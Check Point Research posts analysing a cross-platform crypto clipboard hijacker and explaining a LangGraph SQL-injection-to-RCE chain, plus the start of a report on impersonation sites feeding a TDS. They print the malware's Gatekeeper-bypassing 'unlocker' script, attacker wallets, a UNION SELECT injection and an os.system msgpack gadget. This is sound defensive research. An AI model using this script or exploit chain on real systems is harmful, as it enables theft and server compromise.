The majority of these posts have since been taken down and now appear only as remnants in Google search results. It is unclear whether the threat actor published them through paid advertisements that were later removed by the news outlets after being notified of their malicious nature, or whether there is a malicious service—or a set of compromised news outlets—that offers this kind of fraudulent promotion on legitimate websites.

Beyond using news outlets, the actor also promotes the malicious tool on various forums, particularly those frequented by the targeted audience, such as cryptocurrency-focused communities.

The actor posted on BitcoinTalk.org a long-running online forum founded in the early days of Bitcoin, where users discuss cryptocurrencies, blockchain technology, mining, and related projects. While the site itself is legitimate and historically significant in the crypto community, anyone can post content, including promotions, investment opportunities, and potential scams.

Figure 16 — Bitcoin-related forum post.

Early signs of the actor’s activity were found on a hacking forum where the user has been active since 2019. In 2022, the user created a post titled BLACKHAT | Bitcoin Stealer | Advanced Builder | Tutorial | Clipper [Address Changer]+Re-Fud method, in which he shared a malicious crypto-related tool.

Figure 17 — @JoseCmanXD CryptoRipper.

In addition to providing this malicious tool, the same account has shown interest in other topics such as GET UNLIMITED YOUTUBE VIEWS FREE. This activity could help explain the unusually high view counts and abnormal view spikes observed on the associated YouTube content.


Windows Version

The ‘solutions’ are downloaded as a ZIP archive and contain multiple files, the majority of which are unused throughout the execution of the malicious program. While the threat actor updates the main malicious sample every few weeks, the rest of the unused samples remain untouched.

SniperBot_Premium(Free)/
├── SniperBot_Premium(Free).exe
├── Sniper_TradingBot.Premium(Trial).exe.config
...
...
├── src/            
│   ├── config/
│   │   └── silkebin.exe
...
...

The victim needs to trigger SniperBot_Premium(Free).exe (or other related name depending on the “solution” promoted). This file is a simple .NET loader which executes the file located in src/config/silkebin.exe.

Figure 18 — Execution of Rust Clipboard Hijacker.

This Windows executable is a Rust-built cryptocurrency clipboard hijacker (clipper). It installs itself for persistence and then continuously monitors the user’s clipboard for cryptocurrency wallet addresses. When it detects a supported address format, it replaces the clipboard contents with an attacker‑controlled wallet address taken from an internal list. The sample achieves persistence by copying itself to %APPDATA%\\silke\\silke.exe and creating a shortcut in the Startup folder so it will automatically run at logon.

The malware creates a hidden window and registers as a clipboard listener using Windows APIs such as AddClipboardFormatListener, OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData. Each time the clipboard changes, it checks whether the new text matches the pattern of a cryptocurrency wallet address (for example, Bitcoin, Ethereum/EVM, Litecoin, Tron, XRP, Cardano, and others) using regular expressions.

If a match is found, the malware replaces the clipboard text with an attacker‑controlled address from a large internal list. This list contains over 15,500 wallet addresses: about 15,000 are Bitcoin-related (5,000 Bitcoin bech32, 5,000 Bitcoin legacy, and 5,000 Bitcoin P2SH), roughly 500 are Ethereum addresses, and the remaining entries include Bitcoin Cash/Gold, Monero, Dogecoin, Cardano, Litecoin, and other cryptocurrencies.

CurrencyRegexAttacker’s Wallets (Count)
Bitcoin Bech32\\b(bc1)[A-Za-z0-9]{26,45}\\b5000
Bitcoin Legacy (P2PKH)\\b(1)[A-Za-z0-9]{26,35}\\b5000
Bitcoin P2SH\\b(3)[A-Za-z0-9]{26,35}\\b5000
Ethereum / EVM\\b(0x)[A-Za-z0-9]{40,46}\\b501
Bitcoin Cash (CashAddr)\\b(q)[A-Za-z0-9]{26,43}\\b1
Bitcoin Cash (full prefix)\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b1
Bitcoin Gold\\b(btg)[A-Za-z0-9]{26,43}\\b1
Stellar (XLM)\\b(G)[A-Za-z0-9]{26,40}\\b1
Cardano legacy / others\\b(A)[A-Za-z0-9]{26,40}\\b1
Monero (spend key prefix 4)\\b(4)[A-Za-z0-9]{90,98}\\b1
Monero (integrated address)\\b(8)[A-Za-z0-9]{90,98}\\b1
Dogecoin\\b(D)[A-Za-z0-9]{26,35}\\b1
Cardano (Shelley)\\b(addr1)[A-Za-z0-9]{26,108}\\b1
Cardano (Byron)\\b(DdzFF)[A-Za-z0-9]{26,108}\\b1
Litecoin (L-prefix)\\b(L)[A-Za-z0-9]{26,35}\\b1
Litecoin (M-prefix)\\b(M)[A-Za-z0-9]{26,35}\\b1
Litecoin Bech32\\b(ltc)[a-z0-9]{26,68}\\b1
Zcash (t-address)\\b(t1)[A-Za-z0-9]{26,36}\\b1
Tron (TRX)\\b(T)[A-Za-z0-9]{32,37}\\b1
XRP (Ripple)\\b(r)[A-Za-z0-9]{31,38}\\b1

The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, “clean” one. Older samples of this variant contain fewer attacker-controlled wallets—typically only one per targeted currency—and also target fewer cryptocurrencies overall. The latest version expands this list to include additional cryptocurrencies that were not previously targeted, such as Bitcoin Gold, Stellar (XLM), Cardano legacy/Byron, and Dogecoin. At the same time, the attacker has removed support for one cryptocurrency in the new variant, Binance Chain.

Below is an example of how victims are tricked into sending money to the attacker’s wallet.

Figure 19 — Clipboard Hijacker, replacing with attacker’s wallet.

macOS Version

Through his website, GitHub-controlled repositories, and SourceForge projects, the threat actor is also targeting macOS users. The “solutions” provided for macOS are aimed at the same audience as the Windows versions, with the same ultimate goal of stealing cryptocurrency from victims.

Figure 20 — macOS cryptocurrency clipboard hijacker.

The victim downloads a ZIP file from one of the sources mentioned above and finds, among other items, an instruction file named !!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED.txt.

!!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED INSIDE THE FOLDER !!

1- In Finder, Control-click (or right-click) unlocker (or unlocker.command).

2- Choose Open from the contextual menu.

3- In the dialog that appears, click Open again.	

 A small Terminal window or dialog will appear. Wait — it will automatically prepare and open HashScanner.

Unlocker Fixes HashScanner when you see an error like

"App is damaged and can't be opened" or "can't be opened because it is from an unidentified developer":

If this does not work, please contact @JoseCmanXD on telegram and include a screenshot of the error.

Thank you!

The instruction file tells the user to run unlocker.command, which automates the process of “fixing” the blocked application. The script searches for .app bundles in the same folder (or uses an app dragged onto it), removes the macOS quarantine attribute using xattr -cr, and then launches the chosen application with open. By wrapping this logic in simple dialogs and messages, the attacker makes it easy for non-technical users to bypass Gatekeeper warnings and run the malicious app.

#!/bin/bash
# unlocker.command - auto unlocker for .app bundles in the same folder
# Double-click this file in Finder (or drag an .app onto it) to remove quarantine and open the app.

# Get the directory where this script lives (works when double-clicked)
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# If user passed one or more args (drag-drop), use those instead of auto-search
if [ $# -gt 0 ]; then
  targets=()
  for a in "$@"; do
    targets+=("$a")
  done
else
  # Find .app bundles in the same folder (only top-level)
  targets=()
  while IFS= read -r -d $'\\0' f; do
    targets+=("$f")
  done < <(find "$DIR" -maxdepth 1 -type d -name "*.app" -print0)
fi

# Helper to show macOS dialog
show_dialog() {
  /usr/bin/osascript -e "display dialog $1 buttons {\\"OK\\"} with title \\"Unlocker\\""
}

# No apps found
if [ ${#targets[@]} -eq 0 ]; then
  /usr/bin/osascript -e 'tell app "Finder" to display dialog "No .app found in the same folder. Please place your .app (e.g. HashScanner.app) in the folder with this Unlocker and double-click again, or drag the .app onto this Unlocker." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# If exactly one target, use it automatically
if [ ${#targets[@]} -eq 1 ]; then
  chosen="${targets[0]}"
else
  # Multiple: ask user to choose via AppleScript list
  # Build a quoted list of basenames for Applescript
  applescript_list=""
  for f in "${targets[@]}"; do
    name="$(basename "$f")"
    # escape backslashes and double quotes
    esc_name="${name//\\\\/\\\\\\\\}"
    esc_name="${esc_name//\\"/\\\\\\"}"
    if [ -z "$applescript_list" ]; then
      applescript_list="\\"$esc_name\\""
    else
      applescript_list="$applescript_list, \\"$esc_name\\""
    fi
  done

  chosen_name=$(/usr/bin/osascript <<AS
set theList to { $applescript_list }
set chosen to choose from list theList with prompt "Choose the app to unlock and open:" default items {item 1 of theList}
if chosen is false then
  return "CANCEL"
else
  return item 1 of chosen
end if
AS
)

  if [ "$chosen_name" = "CANCEL" ]; then
    /usr/bin/osascript -e 'display dialog "No app selected. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 0
  fi

  # find the full path that matches the chosen base name
  chosen=""
  for f in "${targets[@]}"; do
    if [ "$(basename "$f")" = "$chosen_name" ]; then
      chosen="$f"
      break
    fi
  done

  if [ -z "$chosen" ]; then
    /usr/bin/osascript -e 'display dialog "Selected app not found. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 1
  fi
fi

# Final safety check: chosen is a directory and ends with .app
if [ ! -d "$chosen" ]; then
  /usr/bin/osascript -e 'display dialog "The selected item is not an application. Exiting." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# Run xattr -cr and open. Both commands are absolute paths to avoid PATH issues.
/usr/bin/printf "Removing quarantine from: %s\\n" "$chosen"
/usr/bin/xattr -cr "$chosen" 2>/dev/null
ret=$?
if [ $ret -ne 0 ]; then
  /usr/bin/osascript -e 'display dialog "Failed to remove quarantine (permission or other error). You can try running this script from Terminal for more details." buttons {"OK"} with title "Unlocker"'
  # still attempt to open so user can try
fi

/usr/bin/printf "Opening: %s\\n" "$chosen"
/usr/bin/open "$chosen"

# Let user know we're done
/usr/bin/osascript -e 'display dialog "Done — the app was unlocked (if possible) and opened." buttons {"OK"} with title "Unlocker"'
exit 0

Similar to its .NET Windows variant, the main program on macOS is also just a loader that executes another file located in nested folders.

The executed file is a malicious macOS executable written in Rust that acts as a cryptocurrency clipboard hijacker (clipper). Its main loop monitors the macOS pasteboard, detects wallet-like strings using embedded regular expressions, and replaces them with hardcoded attacker-controlled wallet addresses bundled inside the binary.

To maintain persistence, the malware writes a shell script wrapper to ~/launch.sh and installs a RunAtLoad and KeepAlive LaunchAgent plist at ~/Library/LaunchAgents/com.example..plist, causing launchd to silently re-execute the binary on every login and restart it if it dies. A 30-second watchdog loop (mw_watchdog_copy_and_relaunch) continuously re-writes both files and clones the binary via fcopyfile, making the persistence self-healing against manual removal without first killing the process.

The macOS variant appears to be closer in design to the older Windows version, where each regular expression pattern is associated with only a single attacker-controlled wallet address, rather than multiple addresses per currency.

Coin familyRegex patternAttacker’s Wallet
Bitcoin (BTC)\\b(bc1)[A-Za-z0-9]{26,45}\\bbc1qr8vgrcvacyea68gk6w0kdzt2xcc93azzhalyjl
Bitcoin (BTC)\\b(1)[A-Za-z0-9]{26,35}\\b1JKeTeM7H3P1hj2DYB6vnXWeJ7XgKvXb7D
Bitcoin (BTC)\\b(3)[A-Za-z0-9]{26,35}\\b3EBa4JbKY3HJx6KZopR1sV1upEvxm3dwR1
Bitcoin Cash (BCH)\\b(q)[A-Za-z0-9]{26,43}\\bqp5c3syh4t750jwpljzdmnndddlj7zg64gjhxgm8nd
Bitcoin Cash (BCH)\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\bbitcoincash:qzn9dpl6fs7ywue3ms2wpcjad3wwmax8xgqtkdr7pd
Bitcoin Gold (BTG)\\b(btg)[A-Za-z0-9]{26,43}\\bbtg1q4v9xfvgv4792cg394dmfz8ctd2hhu5xgype2ty
Ethereum / EVM (ETH‑style)\\b(0x)[A-Za-z0-9]{40,46}\\b0x22f24a22b6f824E9ef76B05B186c4D0C2Df58d67
Monero (XMR)\\b(4)[A-Za-z0-9]{90,98}\\b48SWwQ7QUSSPhHS9zWF9V9TKyK7FZVxDd9LghKbbkkYzB3AbhyKaCozMc26siguA2b6tce6tztCTXCWgyrypBLmW7HRxs6D
Monero (XMR)\\b(8)[A-Za-z0-9]{90,98}\\b8BWn9uaExAu2YP3duvbYR2jYfVXMUqnTQYPizkEz1EWrKCGA9Mk912fE3XeZ3P77wTAVp2yDmcKuWiXos6JRAgRtKGijrza
Binance Chain (BNB)\\b(bnb)[A-Za-z0-9]{26,44}\\bbnb1aj96a2f8655rl2hdrzghlagjpe2nm40tp7jq2v
Dogecoin\\b(D)[A-Za-z0-9]{26,35}\\bDDrusqzPjEovYyFrtDV8PVZVZDFFvpGAkc
Cardano (ADA)\\b(addr1)[A-Za-z0-9]{26,108}\\baddr1qytkt94c60hcg27hd9n3zgejxlha6c0v0rpaufgrvxzprkshvktt35l0ss4aw6t8zy3nydl0m4s7c7xrmcjsxcvyz8dqxlg07g
Cardano (ADA)\\b(Ae2)[A-Za-z0-9]{26,105}\\bAe2tdPwUPEZE9kTmNo42ADPop6fXgrSU81n8EERR2ELyCMDh4jrGC4K514q
Cardano (ADA)\\b(DdzFF)[A-Za-z0-9]{26,108}\\bDdzFFzCqrht6dsYcpUFCaMmtBZx7kWS62kBBBiQuaJgW6VJYqfk3hhNNmvL4Zup8pDr32J7JSrG7Pkk77cFFe3H73C5j65tDKTfVp9YV
Litecoin (LTC)\\b(L)[A-Za-z0-9]{26,35}\\bLS6vZukRTqjHtC3ZVYjzPDsiK6UdWdxuhg
Litecoin (LTC)\\b(M)[A-Za-z0-9]{26,35}\\bMJjPAnpe83WAoEFsdLJUKi76GeHx9HkYoU
Litecoin (LTC)\\b(ltc)[a-z0-9]{26,68}\\bltc1qxa03u2udf0a6znuhrrxc6wc4q28wmceh8muqyl
Zcash (ZEC)\\b(t1)[A-Za-z0-9]{26,36}\\bt1RH2YT8Mdo4VJL2tdkkw71N751K5Gc5AGR
TRON\\b(T)[A-Za-z0-9]{32,37}\\bTBFqTqF17fRvSXDh7U8k5mVFxjqkKrWUXm
XRP\\b(r)[A-Za-z0-9]{31,38}\\brfzq3PnZAt6eFKcJ9TXHsAm2c8GuguHUc1
Altcoin\\b(G)[A-Za-z0-9]{26,40}\\bGYzpABfDYfSXq3tq64u8v33zcT71Wy1dsG
Altcoin\\b(A)[A-Za-z0-9]{26,40}\\bAYVNJxRrfpLKVPCkzVKtkq5rTDUhst7KtQ
Solana\\b[A-Za-z0-9]{44}\\b7UQuwTTbZ9SoMY1E8D3DMyPjFCPCXjED2wcj8uhshyzW


Conclusion

In conclusion, this operation combines simple but effective malware with strong social engineering and aggressive cross‑platform promotion. A WordPress phishing site, manipulated engagement on GitHub and SourceForge, AI‑driven YouTube videos, VirusTotal sentiment abuse, and even posts on news outlets and crypto forums all work together to make the tools appear popular, legitimate, and safe. The updated Ghost Networks model is designed to repeatedly expose the victim to positive signals (stars, comments, votes, “safe” labels) so that, by the time they run the tool, it feels like a normal, benign application rather than a threat.

From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust. Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users.

These techniques can also be abused by other types of actors distributing and promoting information stealers or other malware families, which can eventually lead to full ransomware compromises in more mature environments. In other words, the same playbook of fake reputation and broad promotion can be reused to deliver more damaging payloads over time.


Indicators of Compromise

DescriptionValue
Clipboard Hijacking Malware5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61
33c86ecfc324de3af97150bd009aba7925a6ba7a0842e127e94cf351013c0fe6
7a7ad4ae347a3f99f3773a113d9f70ecfa967100c96e8275bd1df833caee68d1
bad8625087a7b9453c70933c0db32518ff5818e3d83f3a9e78d432a22b383edb
c1435847b0c437f91efb07a3a35e4468036322d7acf4ba9e6d363cec0b481241
ef9a915c8e1d484e52b3287c94a58ecd22c07391a87f9c136eabd8397ed01ca2
5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61
e02e60a23297692637b43ebcd7dbeb63af1e9680c551586a1ce935218e0034be
fb8294b12f904dff2ac79b51872be7bf09ab422cde223caaf4762eadf7e0760d
a91c09e0eea610dbe5879798f9cf12e3ce51e4e6f0893278bcdf3ebe22c4730b
9c566db1ef9d08ee389d2b8cc1c50c65870096130c8bd2cf41ea14c4075e94c0
.NET Loaderf737e99177cc05037ff34cf6e245dd56377dc3db4e2bb46edcf039df650939d6
7a9632bbecc31d02fdd0eab07e2424b3e1c9e9a3f91aac4ef6f708f2befbaa3d
MacOS Clipboard Hijacking Malwareb71efdebd0ca3563e67edb7ad59358a6b8f013b219ad65033efcf48fd1c86619
MacOS Loader6f12c066a929c96104796c4ecca938754962009ebd9e4ba5329bb940bf331d0a

The post From Stars to Upvotes: Fake Reputation Fueling a Crypto Clipboard Hijacker appeared first on Check Point Research.

  •  

From SQLi to RCE – Exploiting LangGraph’s Checkpointer

By Yarden Porat

AI agents need memory. Frameworks like LangGraph provide it through checkpointers – persistence layers that store execution state. But what happens when that persistence layer isn’t locked down?

Key Points

  • Check Point Research analyzed LangGraph, an open-source framework for stateful AI agents with over 50 million monthly downloads, and uncovered three vulnerabilities in its persistence layer.
  • Two of them chain into remote code execution: a SQL injection in the SQLite checkpointer (CVE-2025-67644) and an unsafe msgpack deserialization (CVE-2026-28277).
  • A third, parallel issue (CVE-2026-27022) introduces the same injection class into the Redis checkpointer.
  • Who’s at risk: teams self-hosting LangGraph with the SQLite or Redis checkpointer, where the application exposes get_state_history() with a user-controlled filter. LangChain’s managed cloud service, LangSmith Deployment (formerly LangGraph Platform), runs PostgreSQL and is not vulnerable.
  • LangChain patched all three issues. Users should update to langgraph-checkpoint-sqlite 3.0.1+, langgraph 1.0.10+, and langgraph-checkpoint-redis 1.0.2+.

Background

LangGraph is an open-source framework for building stateful, multi-agent AI systems with built-in persistence. It’s an extension of LangChain, with over 50 million monthly downloads according to PyPI stats.

Checkpointers are LangGraph’s persistence layer that stores execution state at each step. LangGraph supports two checkpointer implementations: SQLite and PostgreSQL.

Vulnerability #1: SQL Injection (CVE-2025-67644)

The SQLite Checkpointer Database Schema:
The SQLite checkpointer uses an internal table called checkpoints with the following structure:

CREATE TABLE checkpoints (
    thread_id TEXT NOT NULL,
    checkpoint_ns TEXT NOT NULL DEFAULT '',
    checkpoint_id TEXT NOT NULL,
    parent_checkpoint_id TEXT,
    type TEXT,
    checkpoint BLOB,
    metadata BLOB,
    PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id)
);

The metadata column stores additional contextual information about each checkpoint in JSON format. For example:

{
  "user_id": "alice",
  "step": 1,
  "source": "input"
}

The list() Function and Filtering:

When calling the list() function on sqliteSaver (the checkpointer), the filter parameter is used to query checkpoints based on their metadata:

def list(
    self,
    config: RunnableConfig | None,
    *,
    filter: dict[str, Any] | None = None,  # Used to filter by metadata
    before: RunnableConfig | None = None,
    limit: int | None = None,
) -> Iterator[CheckpointTuple]:

The filter parameter is passed to an internal function called _metadata_predicate, which constructs the SQL WHERE clause to query checkpoints by their metadata fields.

# process metadata query
    for query_key, query_value in filter.items():
        operator, param_value = _where_value(query_value)
        predicates.append(
            f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
        )
        param_values.append(param_value)

    return (predicates, param_values)

The Injection

The vulnerability exists in how _metadata_predicate handles the query_key from the filter dictionary.
Notice this critical line:

f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

An attacker-controlled filter could provide a query_key with a ' character that will escape the JSON path string and inject arbitrary SQL code.

Injection -> Arbitrary Deserialization

To understand how SQL injection leads to arbitrary deserialization, we need to see the complete picture.
Here’s the SQL query that gets executed in list():

query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
{where}
ORDER BY checkpoint_id DESC"""

This query retrieves checkpoint data from the database, including the checkpoint’s BLOB column.
The results are then processed:

async for (
    thread_id,
    checkpoint_ns,
    checkpoint_id,
    parent_checkpoint_id,
    type,
    checkpoint,  # ← This comes directly from the SQL query results
    metadata,
) in cur:  # ← cur contains the query results
    # ... 
    yield CheckpointTuple(
        # ...
        self.serde.loads_typed((type, checkpoint)),  # ← Deserialization
        # ...
    )

The checkpoint contains serialized data, and when fetched gets deserialized.

The Attack

Using SQL injection in the WHERE clause, an attacker can inject a UNION SELECT that adds their own row to the query results:

SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
WHERE ... (injected: ') UNION SELECT 'thread1', 'ns', 'checkpoint1', NULL, 'msgpack', X'', '{}' -- )
ORDER BY checkpoint_id DESC

The injected UNION SELECT returns a fake checkpoint row where the checkpoint column contains attacker-controlled serialized data. When the code loops through the query results, it deserializes this malicious checkpoint’s BLOB, giving the attacker arbitrary deserialization

Vulnerability #2: MsgPack Unsafe Deserialization (CVE-2026-28277)

Now let’s examine what happens during deserialization. The self.serde.loads_typed() function that deserializes checkpoint data looks like this:

def loads_typed(self, data: tuple[str, bytes]) -> Any:
    type_, data_ = data
    if type_ == "null":
        return None
    elif type_ == "bytes":
        return data_
    elif type_ == "bytearray":
        return bytearray(data_)
    elif type_ == "json":
        return json.loads(data_, object_hook=self._reviver)
    elif type_ == "msgpack":
        return ormsgpack.unpackb(
            data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
        )
    elif self.pickle_fallback and type_ == "pickle":
        return pickle.loads(data_)
    else:
        raise NotImplementedError(f"Unknown serialization type: {type_}")

Formats

  1. Pickle –  is disabled by default
  2. JSON –  The json.loads() with object_hook was discussed in our LangGrinch research, but does not lead to code execution
  3. Msgpack – This is the one we are interested in

What is msgpack?

MessagePack (msgpack) is a binary serialization format designed to be faster and more compact than JSON. LangGraph uses ormsgpack, a Rust-based implementation with Python bindings.

Msgpack Extensions

MessagePack allows developers to define custom extension types to handle additional data types beyond its built-in primitives. LangGraph implemented its own extension handler to support serialization of custom Python objects.

When the type_ is msgpack, the code calls:

ormsgpack.unpackb(data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS)
```
The `ext_hook` parameter points to LangGraph's custom implementation: `_msgpack_ext_hook`.

```python
def _msgpack_ext_hook(code: int, data: bytes) -> Any:
    if code == EXT_CONSTRUCTOR_SINGLE_ARG:
        try:
            tup = ormsgpack.unpackb(
                data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
            )
            # module, name, arg
            return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
        except Exception:
            return

When an attacker controls the serialized data, they control both the extension code and the data bytes.

The vulnerability

If we pass a msgpack with EXT_CONSTRUCTOR_SINGLE_ARG code, and the tuple:

  1. os
  2. system
  3. Command (“echo PWN > /tmp/pwned.txt” for example)

When this line executes:

return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])

It will:

1. Import the os module

2. Get the system function from it

3. Call os.system("echo PWN > /tmp/pwned.txt")

This gives an attacker arbitrary code execution – by calling os.system() with attacker-controlled commands, they can execute any shell command on the server.

The Attack Chain: Combining Both Vulnerabilities

Now let’s walk through how an attacker chains these two vulnerabilities together to achieve remote code execution.

The Entry Point: When a developer exposes get_state_history(), it internally calls the checkpointer’s list() method to retrieve historical checkpoints:

def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[Dict[str, Any]] = None,
    before: Optional[RunnableConfig] = None,
    limit: Optional[int] = None,
) -> Iterator[StateSnapshot]:
    # ...
    for checkpoint_tuple in self.checkpointer.list(config, filter=filter, before=before, limit=limit):
        # Process and return checkpoint data

If the filter parameter comes from user input without sanitization, an attacker controls the dictionary keys passed to the SQL injection vulnerability.

The Attack Flow

1. Craft Malicious Payload: The attacker prepares a msgpack payload containing instructions to execute arbitrary code (e.g., run a shell command).

2. Exploit SQL Injection: The attacker sends a malicious filter parameter that exploits the SQL injection vulnerability. This injection adds a fake checkpoint row to the database query results, where the checkpoint column contains their malicious msgpack payload.

3. Trigger Deserialization: When the application processes the query results, it encounters the injected fake checkpoint and deserializes the malicious msgpack data.

4. Code Execution: The unsafe deserialization executes the attacker’s payload, giving them remote code execution on the server.

Vulnerability #3: SQL Injection in the Redis Checkpointer (CVE-2026-27022)

The same injection class affects langgraph-checkpoint-redis: user-controlled keys in the filter dictionary are interpolated directly into the query instead of bound as parameters. Preconditions match CVE-2025-67644 (the application exposes get_state_history() with a user-controlled filter and uses the Redis checkpointer). Patched in langgraph-checkpoint-redis 1.0.2.

Additional SQL Injection Findings

Beyond the primary SQL injection in the filter parameter, we identified additional defense-in-depth SQL injection issues in both the SQLite and PostgreSQL checkpointers. These involved direct concatenation of integer values (such as LIMIT and ttl parameters) into SQL queries instead of using parameterized bindings.

Since Python doesn’t enforce type hints at runtime, these parameters could still accept malicious string input. We worked with the LangChain team during disclosure to remediate these issues using parameterized queries.

Disclosure Timeline

2025-11-19: CVE-2025-67644 (SQL injection), CVE-2026-28227 (msgpack deserialization) And CVE-2026-27022 (Redis injection) disclosed to LangChain team

2025-12-10: CVE-2025-67644 fixed and publicly released in langgraph-checkpoint-sqlite 3.0.1

2026-02-20: CVE-2026-27022  fixed and publicly released in langgraph-checkpoint-redis 1.0.2

2026-03-05: CVE-2026-28277  fixed and publicly released in langgraph-checkpoint 4.0.1

Note on Vendor Response

The LangChain team responded quickly to fix the critical SQL injection vulnerability, which effectively breaks the attack chain described in this research. They continue to work methodically on additional remediation efforts, including the msgpack deserialization issue.

Additional Research

There was significant community research into LangGraph security during November and December 2025. Other security researchers independently discovered CVE-2025-67644 and CVE-2026-28277. Full credits can be found in LangChain’s security advisories.

The post From SQLi to RCE – Exploiting LangGraph’s Checkpointer appeared first on Check Point Research.

  •  

Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem

Research by: Alexey Bukhteyev

Key Takeaways

  • Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot. The sites are well-designed and often look like legitimate project portals at a glance, sometimes referencing real upstream resources. The deception is not in the page content alone, it’s in what happens when a user interacts.
  • Our analysis shows these pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
  • The observed ecosystem appears to be built primarily for traffic acquisition and monetization, likely leveraging legitimate ad-tech and monetization tooling, while downstream redirect chains repeatedly led selected users to malware delivery infrastructure.
  • The downstream branches we analyzed led to multiple malware families, including RemusStealer, AnimateClipper, and the SessionGate framework, which we observed delivering PUA (Potentially Unwanted Applications), suggesting this was not an isolated malicious redirect.

Introduction

When we search Google for a popular piece of software, we usually click the first result, sometimes without even looking at the rest, because official project sites tend to rank highest and appear near the top of the results.

After landing on a site with a professional design and links that appear to point to the project’s official GitHub repository, most users intuitively trust it and proceed to download and run the installer without a second thought. Nothing seems suspicious: the first link in Google, a polished “official-looking” website, and references to the real project. What could go wrong?

Check Point Research investigated a large-scale campaign in which malicious and unwanted software is distributed through a gated traffic-routing stack. The operation relies on professionally built open-source and freeware impersonation sites, where click events initiate routing through a Traffic Distribution System (TDS) — a traffic-filtering and redirection layer that can send different users to different destinations based on factors such as geography, device type, browser fingerprint, or campaign rules — and can ultimately lead to payload delivery.

What makes this campaign especially notable is the choice of brands: a high-risk subset of sites impersonates trusted reverse-engineering tools such as Ghidra and dnSpy, used by security researchers and malware analysts.

Figure 1 – Impersonated websites of popular software tools

The broader phenomenon of websites impersonating popular open-source and freeware projects had already been documented by late 2025. In November 2025, Fullstory reported a large cluster of such fraudulent domains and did not identify direct abuse in their examined samples at the time (including checking hosted archives against known-good content), while emphasizing the clear security risk and the potential for downstream phishing or watering-hole style abuse.

Our findings show that this ecosystem has evolved. We observed that by at least December 2025, the sites in this cluster had TDS scripts embedded into their workflow, and from early January 2026 onward, we recorded active malware distribution via the same infrastructure.

The scale is reflected in VirusTotal telemetry: more than 5,000 total submissions across relevant samples, indicating substantial reach in just the subset visible through public sharing. The real exposure is likely significantly higher.

Figure 2 – VirusTotal total submitters exceeding 5,000, indicating the scale of the operation.

Among the payloads distributed through this TDS infrastructure, we identified several malware families:

  • SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms, which makes obtaining the final payload extremely difficult. In the chains we observed, it was used to deliver potentially unwanted applications (PUA). We examine SessionGate more deeply later on this article.
  • RemusStealer — a newly emerged infostealer designed to steal data from more than 20 browsers and targeting hundreds of browser extensions and applications, including cryptocurrency wallets, two-factor authentication tools, and password managers.
  • AnimateClipper — A cryptocurrency clipper capable of hijacking transactions across more than 20 blockchain ecosystems.

Importantly, we do not assess these impersonation sites as being built exclusively for malware distribution. The more plausible primary objective is traffic acquisition and monetization. However, by embedding a gated TDS layer and funneling search traffic into it, the operators become part of a distribution chain whose downstream consumers can include malware distributors. The same traffic pipeline that drives gray monetization can also selectively route real users to malicious payloads.

Impersonation, click hijacking, and the post-click routing

Our investigation started with several domains impersonating official project pages and download portals for tools widely used by security researchers.

For relevant queries, some of these “project portals” appeared surprisingly high in search results:

Figure 3 – Fake Ghidra project website in Google search results

What these sites have in common is a shared staging component: their pages load CloudFront-hosted Traffic Distribution System scripts from Amazon CloudFront, a legitimate content delivery network (CDN) service widely used to distribute web content through globally distributed infrastructure. These scripts turn the first “Download” click into a post-click routing chain.

The scripts are fetched from URLs with a consistent pattern, for example:

  • https://d33f51dyacx7bd.cloudfront[.]net/?aydfd=1237183
  • https://dcbbwymp1bhlf.cloudfront[.]net/?wbbcd=1236609

In total, we identified more than 100 currently active websites embedding these scripts, reusing the same campaign-style identifiers and the same CloudFront domains.

Below are some of the entry domains from the cluster, with an emphasis on impersonated brands that are commonly trusted by technical users:

  • Security/researcher tooling look-alikes
    • ghidralite[.]com
    • dnspy[.]org
    • ilspy[.]org
  • Developer/utility tooling look-alikes
    • grpcurl[.]com
    • mqttexplorer[.]com
    • mfcmapi[.]com
    • winsetupfromusb[.]org
    • crystaldiskmark[.]org
    • guiformat[.]com

While we have identified multiple targets that seems to primarily target security researchers, we have not found any strong evidence suggesting we could be dealing with potential targeted attacks. As previously mentioned, ultimate goal seems primarily for traffic acquisition and monetization.

Download button click hijacking

